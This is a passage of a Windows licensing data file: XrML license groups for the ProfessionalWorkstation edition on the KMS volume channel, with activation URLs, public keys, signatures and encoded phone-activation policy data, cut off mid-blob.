channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{5cb1d359-b1ab-43db-8e5f-7c2832c8a641}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>uVcCsAZbv+mRxogIksgqAo3wN5A=</DigestValue></Reference></SignedInfo><SignatureValue>lPdh5XStVE2m9WI+0Mw9yybxYUoXWTjl+K7+9G/4NRmIAW856HJg5jP4Q7877u6xamj9UYm/rkbFOAzvGahy8cpas0WyZyYUuH/0rnDVDl3yxxOlRkzrwZne2XWPhNrJm3YxbfhNAc+5Uyrz+Ant1X07olXMCSLMHFV4PRMwXJJkUWOyPtQFdDBXyEjZX9k40Racv++JqbDkTo819otzfLINYt8X1ENcvLc4Qqf+CUfU4ta5oZukMZW+Zg4A091wrZTpG6D9WnPGGWTlPx8rcaKAQdVkfsV3L29W7dWJ9jX9NSQKeZuiKOnTUe3QYQ9xFvFcVwPb/zuoAy3XnDQiDQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{54beec1b-1502-4a16-8c3e-743e870e952b}</tm:infoStr><tm:infoStr name="productSkuId">{d552befb-48cc-4327-8f39-47d2d94f987c}</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{463c131e-dec7-4ac4-a951-53027ecb8142}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">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</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{d552befb-48cc-4327-8f39-47d2d94f987c}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>nar1Cpvwn24Kkl85tkjVLOAGWrM=</DigestValue></Reference></SignedInfo><SignatureValue>XbnFL8s6mAw/UQXgzQ3hi+QZxJdoALCOQ8BVe6Ks1h3avzZ4IuYMY+iekhFbUd7Nu7H5v6gkeTB5kIJ/J5VFma7XTDwx5EqUI1dzfQg33L79bp+WKJh88awSbdWvEf2V8+O99tT3NBY27E+xVUWsWFvZZ8iyB8F6VZ9z1T5E/cNnmsuEog4OgVhECpV7eZdEoH+fh5mUlpvKUHgb4eFxMgAKop5cXZ3GZzKtXBwU3ztrYDlSmc8pMdraoa5Wsr39c0gcrqyrORd87TxJPh3ehnF29DsfS6nrW3UVsI1YuR2R7d3USps9Lo5I3tDjuLNmEG973TaAzFQC0JGEbtNhKQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{d552befb-48cc-4327-8f39-47d2d94f987c}</tm:infoStr><tm:infoStr name="privateCertificateId">{5367901b-3dfa-4089-a6f2-7328cbd4ff8c}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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